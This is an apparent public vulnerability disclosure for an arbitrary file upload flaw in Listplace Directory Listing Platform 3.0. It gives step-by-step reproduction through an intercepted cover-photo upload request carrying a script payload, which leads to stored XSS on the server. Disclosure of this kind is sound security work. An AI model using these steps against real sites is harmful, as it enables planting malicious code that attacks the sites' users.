# Exploit Title: Listplace Directory Listing Platform 3.0 - Arbitrary File Upload # Exploit Author: CraCkEr # Date: 12/07/2023 # Vendor: Bug Finder # Vendor Homepage: https://bugfinder.net/ # Software Link: https://bugfinder.net/product/listplace-a-complete-directory-listing-platform/22 # Tested on: Windows 10 Pro # Impact: Allows User to upload files to the web server ## Description Allows Attacker to upload malicious files onto the server, such as Stored XSS ## Steps to Reproduce: 1. Login as a [Normal User] 2. In [User Dashboard] go to [Profile Settings] on this Path: https://website/listplace/user/profile 3. Upload any Image to [User_Cover_Photo] 4. Capture the POST Request with [Burp Proxy Intercept] 5. Inject your [Evil-Code] or [Stored XSS] ----------------------------------------------------------- POST /listplace/user/coverPhotoUpdate HTTP/2 ----------------------------------------------------------- Content-Disposition: form-data; name="user_cover_photo"; filename="XSS.png" Content-Type: image/png <script>alert(1)</script> ----------------------------------------------------------- 6. Send the Request 7. Capture the GET request from [Burp Logger] to get the Path of your Uploaded [Stored-XSS] 8. Access your Uploded Evil file on this Path: https://website/listplace/assets/uploads/users/[Stored-XSS] [-] Done